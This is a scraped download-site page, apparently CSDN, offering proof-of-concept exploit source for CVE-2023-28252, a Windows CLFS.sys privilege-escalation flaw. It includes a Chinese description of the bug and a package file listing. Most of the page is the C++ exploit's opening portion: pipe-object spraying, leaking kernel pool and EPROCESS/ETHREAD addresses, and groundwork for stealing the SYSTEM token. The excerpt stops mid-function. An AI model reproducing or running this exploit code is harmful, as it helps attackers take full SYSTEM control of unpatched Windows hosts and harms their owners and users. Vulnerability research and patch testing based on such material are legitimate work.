#include "clfs_eop.h"
// Global Variables
IO_STATUS_BLOCK status_block = { 0 };
UINT64 offset_SeSetAccess = 0;
UINT64 offset_RtlClearBit = 0;
UINT64 offset_PoFxProcessorNotification=0;
UINT64 offset_SeSetAccessStateGenericMapping = 0;
UINT64 offset_FsRtlCurrentBatchOplock = 0;
func3* _NtFsControlFile;
UINT64 fnSeSetAccessStateGenericMapping = 0;
UINT64 fnPoFxProcessorNotification = 0;
UINT64 offset_ClfsEarlier = 0;
UINT64 offset_ClfsMgmtDeregisterManagedClient = 0;
UINT64 fnClfsEarlierLsn = 0;
UINT64 fnClfsMgmtDeregisterManagedClient = 0;
UINT64 fnRtlClearBit = 0;
UINT64 fnFsRtlCurrentBatchOplock = 0;
UINT64 para_PipeAttributeobjInkernel = 0;
CHAR clfs_path[] = { "\\SystemRoot\\System32\\drivers\\CLFS.SYS" };
FARPROC user_ClfsEarlierLsn = NULL;
FARPROC user_ClfsMgmtDeregisterManagedClient = NULL;
FARPROC user_RtlClearBit = NULL;
FARPROC user_SeSetAccessStateGenericMapping = NULL;
FARPROC user_PoFxProcessorNotification = NULL;
UINT64 ntos_kernelBase = NULL;
UINT64 clfs_kernelBase = NULL;
WCHAR* stored_env_xfname = { 0 };
WCHAR* stored_env_containerfname = { 0 };
WCHAR* stored_env_filename = { 0 };
VOID* temp_chunk = 0;
HANDLE logFile = INVALID_HANDLE_VALUE;
HANDLE logFile2 = INVALID_HANDLE_VALUE;
HANDLE filehandle = INVALID_HANDLE_VALUE;
HANDLE hPipeRead = 0 ;
HANDLE hPipeWrite = 0;
UINT64 System_token_value = 0;
UINT64 System_token_value2 = 0;
size_t numread;
#define NUMELEM 0x7a00
#define NUMELEM2 0x400
char buff[0x7a00];
char buff2[0x400];
char buff1[0x400];
char buff3[0x7a00];
char buff4[0x10000];
INT64 consec_number = 0;
INT64 distance = 0;
INT64 prev_pointer = 0;
INT64 temp_pointer = 0;
INT64 temp_distance = 0;
INT64 final_distance = 0;
UINT num_of_CLFS = 0;
PUINT p_num_of_CLFS = &num_of_CLFS; // number of CLFS tags
CHAR tag[] = { "Clfs" };
PUINT64 p_possible_kernelAddrArray = 0; // Offset of last field virtual address
DWORD* temp_alloc_2 = 0;
unsigned int amount_of_CLFS_pools = 0; // stores the amount of bigpool clfs tags
WCHAR* stored_name_CreateLog;
DWORD _pid = 0;
DWORD pid_to_find = 0;
int token_offset = 0;
LONGLONG token_value = 0;
WCHAR* stored_name_fopen;
WCHAR* foldr = nullptr;
DWORDLONG system_EPROCESS = 0;
DWORDLONG system_EPROCESS_low = 0;
DWORDLONG system_EPROCESS_high = 0;
PUINT64 kernelAddrArray = 0;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
HANDLE hToken = NULL;
HMODULE user32 = NULL;
int flag = 0;
int flag2 = 0;
UINT64 dest2 = 0;
UINT64 dest3 = 0;
UINT64 value2 = 0;
UINT64* value3 = 0;
UINT64 next_token;
HMODULE ntbase = 0;
UINT PIPE_ATTR_TAG = 0x7441704E; // NpAt
ULONG retlen2 = 0;
int random_part = 0;
int random_part2 = 0;
UINT64 CLFS_kernelAddrArray = 0;
HANDLE hlogfile = INVALID_HANDLE_VALUE;
FILE* pfile = 0;
FILE* pfile2 = 0;
WCHAR* stored_env_log = { 0 };
WCHAR* stored_env = { 0 };
WCHAR* stored_env_spray = { 0 };
WCHAR* stored_env_spray_log;
WCHAR* stored_log_arrays[10] = { 0 };
WCHAR* stored_container_arrays[10] = { 0 };
WCHAR* stored_fopen_arrays[10] = { 0 };
WCHAR* tmp_env8 = { 0 };
VOID * buffer_0x1a0 = { 0 };
UINT64 * handles_buffer1 = { 0 };
UINT64* handles_buffer2 = { 0 };
VOID* dest;
unsigned int pos_token = 0;
void fun_pipeSpray(int value, UINT64* temp_buffer) {
int contador = 0;
if (value > 0)
{
int index = 0;
do
{
if (!(unsigned int)CreatePipe((PHANDLE)&temp_buffer[index], (PHANDLE)&temp_buffer[index + 1], 0, 0x25c0))
{
if (contador > 0)
{
do
{
CloseHandle((HANDLE)*temp_buffer);
CloseHandle((HANDLE)temp_buffer[1]);
temp_buffer += 2;
--contador;
} while (contador);
}
exit(1);
}
contador = contador + 1;
index += 2;
} while (contador < value);
}
printf("\nnumber of pipes created =%x\n", contador);
return;
}
void getVirtualAddress() {
ntbase = LoadLibraryA("ntdll.dll");
if (!ntbase) {
printf("[!] LoadLibrary failed with error %x\n", (unsigned int)GetLastError());
exit(1);
}
fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(ntbase, "NtQuerySystemInformation");
_NtFsControlFile = (func3*)GetProcAddress(ntbase, "NtFsControlFile");
if (!_NtFsControlFile) exit(1);
printf("\nVIRTUAL ADDRESSES AND OFFSETS\n");
printf("[+] NtFsControlFile Address --> %p\n", _NtFsControlFile);
if (!CreatePipe(&hPipeRead, &hPipeWrite, 0, 0x1000))
{
exit(0);
}
temp_chunk = malloc(0x2000);
if (temp_chunk == 0) { exit(0); }
memset((UINT64*)temp_chunk + 1, 0x41, 0xffe);
*(UINT64*)temp_chunk = 0x5a; // "Z"
dest = malloc(0x100);
if (dest == 0) { exit(0); }
memset(dest, 0x42, 0xff);
temp_alloc_2 = (DWORD*)VirtualAlloc(0, 0x1000, 0x1000, 4);
_NtFsControlFile(hPipeWrite, 0, 0, 0, &status_block, 0x11003c, temp_chunk, 0xfd8, dest, 0x100);
fnNtQuerySystemInformation(SystemBigPoolInformation, temp_alloc_2, 0x1000, &retlen2);
DWORD* v5a = (DWORD*)VirtualAlloc(0, (SIZE_T)retlen2, 0x1000, 4);
NTSTATUS status = STATUS_SUCCESS;
if (NT_SUCCESS(status = fnNtQuerySystemInformation(SystemBigPoolInformation, v5a, retlen2, &retlen2))) {
PSYSTEM_BIGPOOL_INFORMATION pBuf = (PSYSTEM_BIGPOOL_INFORMATION)(v5a);
if (pBuf == 0) { exit(0); }
for (ULONG i = 0; i < pBuf->Count; i++) {
__try {
if (pBuf->AllocatedInfo[i].TagUlong == PIPE_ATTR_TAG) {
printf("[+] pool NpAt VirtualAddress -->%p\n", pBuf->AllocatedInfo[i].VirtualAddress);
para_PipeAttributeobjInkernel = (UINT64)pBuf->AllocatedInfo[i].VirtualAddress;
break;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("(%s) Access Violation was raised.", __FUNCTION__);
}
}
}
return;
}
SIZE_T GetObjectKernelAddress(HANDLE Object)
{
PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
ULONG handleInfoSize = 0x1000;
ULONG retLength;
NTSTATUS status;
SIZE_T kernelAddress = 0;
BOOL bFind = FALSE;
while (TRUE)
{
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);
status = fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);
if (status == 0xC0000004 || NT_SUCCESS(status)) // STATUS_INFO_LENGTH_MISMATCH
{
LocalFree(handleInfo);
handleInfoSize = retLength + 0x100;
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);
status = fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);
if (!handleInfo) {
printf("[!] cannot read handle info %x\n", (unsigned int)GetLastError());
exit(1);
}
ULONG numHandles = (ULONG)handleInfo->NumberOfHandles;
if (!numHandles) {
printf("[!] cannot read number of handles %x\n", (unsigned int)GetLastError());
exit(1);
}
if (NT_SUCCESS(status))
{
for (ULONG i = 0; i < numHandles; i++)
{
if ((DWORD64)Object == 0x4)
{
if (0x4 == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue)
{
kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
bFind = TRUE;
break;
}
}
else
{
if (GetCurrentProcessId() == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue)
{
kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
bFind = TRUE;
break;
}
}
}
}
}
if (handleInfo)
LocalFree(handleInfo);
if (bFind)
break;
}
return kernelAddress;
}
VOID InitEnvironment()
{
DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &hProcess, 0, FALSE, DUPLICATE_SAME_ACCESS);
g_EProcessAddress = GetObjectKernelAddress(hProcess);
printf("[+] MY EPROCESSS %p\n", (void*)g_EProcessAddress);
system_EPROCESS = GetObjectKernelAddress((HANDLE)4);
printf("[+] SYSTEM EPROCESSS %p\n", (void*)system_EPROCESS);
DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
g_EThreadAddress = GetObjectKernelAddress(hThread);
printf("[+] _ETHREAD ADDRESS %p\n", (void*)g_EThreadAddress);
没有合适的资源?快使用搜索试试~ 我知道了~
温馨提示
CVE-2023-28252 是一个存在于 clfs.sys(通用日志文件系统驱动程序)中的越界写入漏洞。 卡巴斯基披露该在野0day提权漏洞是一个越界写入(增量)漏洞,当目标系统试图扩展元数据块时被利用来获取system权限———Windows中最高的用户权限级别。该漏洞允许改变基础日志文件,迫使系统将基础日志文件中的假元素视为真实元素。其通过改变指向内存中一个特定的公共日志文件系统(CLFS)结构的偏移值,使之指向一个恶意结构。此外其在用户层面提供一个指向受控内存的指针,以获得内核的读/写权限。CLFS结构是Windows操作系统使用的CLFS通用日志系统的一部分,它由物理日志文件、日志流、日志记录等组成。 受影响版本 Windows7/8/9/10/11 Windows Server 2008/2012/2016/2018/2019/2022 #include "clfs_eop.h" // Global Variables IO_STATUS_BLOCK status_block = { 0 }; UINT64 offset_SeSetAccess = 0;
资源推荐
资源详情
资源评论
收起资源包目录
CVE-2023-28252 CLFS Windows 本地提权漏洞 POCC 源码 (148个子文件)
clfs_eop.cpp 42KB
clfs_eop.vcxproj.filters 1KB
ntos.h 164KB
clfs_eop.h 2KB
crc32.h 918B
ntoskrnl.lib 879KB
image105.png 1.22MB
image117.png 823KB
image104.png 734KB
image98.png 701KB
image99.png 637KB
image118.png 604KB
image102.png 549KB
image86.png 477KB
image85.png 475KB
image73.png 456KB
image103.png 405KB
image43.png 396KB
image39.png 392KB
image100.png 334KB
image116.png 321KB
image114.png 315KB
image136.png 312KB
image82.png 306KB
image55.png 303KB
image113.png 300KB
image139.png 275KB
image138.png 259KB
image101.png 259KB
image47.png 249KB
image65.png 248KB
image108.png 245KB
image63.png 226KB
image129.png 217KB
image28.png 211KB
image71.png 204KB
image111.png 190KB
image64.png 188KB
image127.png 182KB
image48.png 176KB
image94.png 167KB
image135.png 163KB
image46.png 163KB
image36.png 160KB
image19.png 149KB
image107.png 149KB
image134.png 139KB
image140.png 137KB
image44.png 126KB
image110.png 121KB
image83.png 119KB
image56.png 112KB
image27.png 109KB
image37.png 107KB
image119.png 105KB
image96.png 104KB
image137.png 104KB
image125.png 103KB
image34.png 102KB
image13.png 102KB
image88.png 102KB
image15.png 99KB
image67.png 98KB
image1.png 97KB
image121.png 93KB
image2.png 92KB
image74.png 88KB
image35.png 87KB
image26.png 87KB
image126.png 86KB
image5.png 86KB
image76.png 80KB
image40.png 79KB
image123.png 79KB
image10.png 78KB
image24.png 77KB
image32.png 74KB
image11.png 71KB
image25.png 71KB
image128.png 71KB
image51.png 69KB
image16.png 65KB
image18.png 61KB
image54.png 61KB
image38.png 60KB
image70.png 59KB
image68.png 58KB
image122.png 58KB
image53.png 57KB
image45.png 56KB
image4.png 56KB
image80.png 55KB
image42.png 55KB
image87.png 54KB
image124.png 54KB
image72.png 52KB
image57.png 51KB
image20.png 51KB
image89.png 51KB
image33.png 51KB
共 148 条
- 1
- 2
资源评论
RainbowTechnology
- 粉丝: 196
- 资源: 38
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
- Comsol粗糙单裂隙渗流传热耦合数值模型, 细模型边界条件以及模型建立
- 基于支持向量机的语音情感识别MATLAB代码
- 【天线】基于matlab时域差分FDTD方法喇叭天线仿真(绘制电场方向图)【含Matlab源码 9703期】.zip
- 【飞行器】基于matlab ode45飞行器姿态控制仿真【含Matlab源码 8869期】.mp4
- 【语音加密】基于matlab GUI语音信号加密解密【含Matlab源码 295期】.mp4
- 【水声通信】基于matlab水中声纳模型仿真【含Matlab源码 9719期】.zip
- 【数字信号去噪】基于matlab ANC算法多通道主动噪声控制【含Matlab源码 9963期】.zip
- 【OFDM仿真】基于matlab CP-OFDM传输链路仿真【含Matlab源码 10012期】.zip
- 弱小目标检测20250107
- 裂隙岩体热-流-固耦合数值建模
- 毕业设计基于机器学习的DDoS入侵检测python源码+文档说明(高分项目)
- BMS仿真电池平衡控制策略仿真similink 动力电池管理系统仿真 BMS + Battery Simulink 控制策略模型, 动力电池物理模型,需求说明文档 BMS算法模型包含状态切模型、S
- MySQL配置文件my.ini
- win32汇编环境,对话框程序画扇形与饼形
- 社交推理游戏中的大型语言模型评估框架-狼人杀竞技场(Werewolf Arena)的研究与应用
- 基于SpringBoot的山西文旅网((源码+数据库+论文+ppt+包调试+一对一指导)
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功